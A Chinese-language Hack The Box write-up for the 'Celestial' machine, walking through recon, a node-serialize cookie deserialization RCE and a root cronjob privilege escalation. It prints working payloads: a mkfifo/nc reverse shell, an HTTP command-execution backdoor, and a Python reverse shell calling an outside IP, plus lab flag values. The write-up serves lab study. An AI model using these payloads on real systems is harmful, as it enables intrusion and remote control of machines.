Celestial - HTB Medium Node.js Express 框架,利用 node-serialize 反序列化漏洞获取 RCE,通过 adm 组权限读取系统日志发现 root cronjob 实现提权。
01.信息搜集 Nmap 端口扫描 1 sudo nmap -sT -sV -sC -O -p 3000 $TARGET -oA nmapscan/detail
1 2 3 4 5 6 PORT STATE SERVICE VERSION 3000/tcp open http Node.js Express framework |_http-title: Site doesn't have a title (text/html; charset=utf-8) Device type: general purpose Running: Linux 3.X|4.X OS details: Linux 3.2 - 4.14
仅开放 3000 端口,运行 Node.js Express。
Web 目录扫描 1 gobuster dir -u http://$TARGET :3000/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50
无其他路径,仅根路由 /。
Nuclei 指纹识别 1 nuclei -u http://$TARGET :3000/ -tags express -severity critical,high,medium
无已知 CVE 命中。
02.漏洞发现 Cookie 分析 首次访问 / 返回 404,同时 Set-Cookie:
1 Set-Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D
Base64 解码:
1 { "username" : "Dummy" , "country" : "Idk Probably Somewhere Dumb" , "city" : "Lametown" , "num" : "2" }
携带该 Cookie 再次访问,返回:
2+2=22 暗示字符串拼接而非算术运算。
报错信息泄露 修改 num 为非法值触发报错。
num 设为 % (JSON 解析阶段报错):
1 2 3 4 SyntaxError: Unexpected token % at Object.parse (native) at Object.exports.unserialize (/home/sun/node_modules/node-serialize/lib/serialize.js:62:16) at /home/sun/server.js:11:24
泄露关键信息:
用户名: sun
序列化库: node-serialize
服务端路径: /home/sun/server.js:11 调用 unserialize()
num 字段 eval 行为分析 1 2 var sum = eval (obj.num + obj.num );
不同 num 值的测试结果:
num
类型
eval 表达式
结果
说明
"2"
string
eval("22")
22
字符串拼接 → eval
"1"
string
eval("11")
11
同上
"0"
string
eval("00")
0
00 八进制 = 0
"A"
string
eval("AA")
RefErr
AA 未定义变量
0
number
eval(0+0)
0
算术运算
22
number
eval(22+22)
44
算术运算
server.js 完整源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 var express = require ('express' );var cookieParser = require ('cookie-parser' );var escape = require ('escape-html' );var serialize = require ('node-serialize' );var app = express ();app.use (cookieParser ()) app.get ('/' , function (req, res ) { if (req.cookies .profile ) { var str = new Buffer (req.cookies .profile , 'base64' ).toString (); var obj = serialize.unserialize (str); if (obj.username ) { var sum = eval (obj.num + obj.num ); res.send ("Hey " + obj.username + " " + obj.num + " + " + obj.num + " is " + sum); }else { res.send ("An error occurred...invalid username type" ); } }else { res.cookie ('profile' , "eyJ1c2VybmFtZSI6IkR1bW15..." , { maxAge : 900000 , httpOnly : true }); } res.send ("<h1>404</h1>" ); }); app.listen (3000 );
两处注入点:
漏洞点①: serialize.unserialize() — _$$ND_FUNC$$_ 前缀触发 eval() 执行函数
漏洞点②: eval(obj.num + obj.num) — 直接 eval 但 num 值被双写
03.漏洞利用 node-serialize 反序列化 RCE node-serialize 的 unserialize() 遇到 _$$ND_FUNC$$_ 前缀时,将后续内容作为函数体通过 eval() 执行。
基本 Payload 结构:
1 { "username" : "_$$ND_FUNC$$_function(){...代码...}()" , "country" : "..." , "city" : "..." , "num" : "2" }
方式一: 反弹 Shell
1 2 3 4 5 6 7 8 nc -l 4444 REV_SHELL='rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.17.30 4444 >/tmp/f' JSON='{"username":"_$$ND_FUNC$$_require(\"child_process\").exec(\"' "${REV_SHELL} " '\", function(e,o,s){console.log(o)})","country":"L","city":"L","num":"2"}' ENCODED=$(echo -n "$JSON " | base64 ) curl -s -b "profile=$ENCODED " http://$TARGET :3000/
方式二: 创建 HTTP 后门 (端口 443)
1 2 3 4 5 6 { "username" : "_$$ND_FUNC$$_function(){const http=require('http');const url=require('url');const ps=require('child_process');http.createServer(function(req,res){var q=url.parse(req.url,true).query;ps.exec(q['cmd'],function(e,o,s){res.end(o)})}).listen(443)}()" , "country" : "Idk Probably Somewhere Dumb" , "city" : "Lametown" , "num" : "2" }
1 2 curl http://$TARGET :443?cmd=whoami
获取 sun 用户
User Flag:
1 2 cat /home/sun/user.txt # 2aacc80df076b02afdea8699e431bd00
04.权限提升 系统枚举 — adm 组权限 sun 属于 adm 组 (gid=4),可读取系统日志 /var/log/syslog。
日志分析发现 Cronjob 1 grep CRON /var/log/syslog | tail -5
1 2 3 4 5 (root) CMD (python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py)
Cronjob 执行流程 (每 5 分钟, root 身份):
执行 /home/sun/Documents/script.py
从 /root/script.py 覆盖回来
改所有权为 sun:sun
攻击窗口: 步骤 1 执行后到步骤 2 覆盖前,文件归 sun 所有,可被修改。
写入恶意 Python 脚本 1 2 3 4 5 6 7 8 9 cat > /home/sun/Documents/script.py << 'EOF' import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.10 .17.30 ",5555 )) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh" ,"-i" ]) EOF
等待 cron 触发 (最长 5 分钟)。
Root Shell
Root Flag:
05.知识点总结 攻击链路 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Nmap 扫描 (3000 端口 Node.js Express) ↓ Cookie 中发现 base64 编码 JSON ↓ 篡改 Cookie 触发报错 → 泄露 node-serialize + 路径 ↓ node-serialize 反序列化 RCE (_$$ND_FUNC$$_) ↓ 反弹 Shell / HTTP 后门 → sun 用户 ↓ adm 组 → 读取 /var/log/syslog ↓ 发现 root cronjob (每 5 分钟) ↓ 写入 Python 反弹 Shell → 等待 cron 执行 → Root
关键技术
node-serialize.unserialize() 中 _$$ND_FUNC$$_ 前缀触发 eval() 执行
Cookie 中 base64 编码的 JSON 被直接反序列化,无任何校验
adm 组成员可读取 /var/log/syslog,暴露 cronjob 执行细节
Cronjob 执行脚本后改回所有权,利用时间窗口写入恶意代码
靶机存在双重 eval: unserialize() + eval(num+num)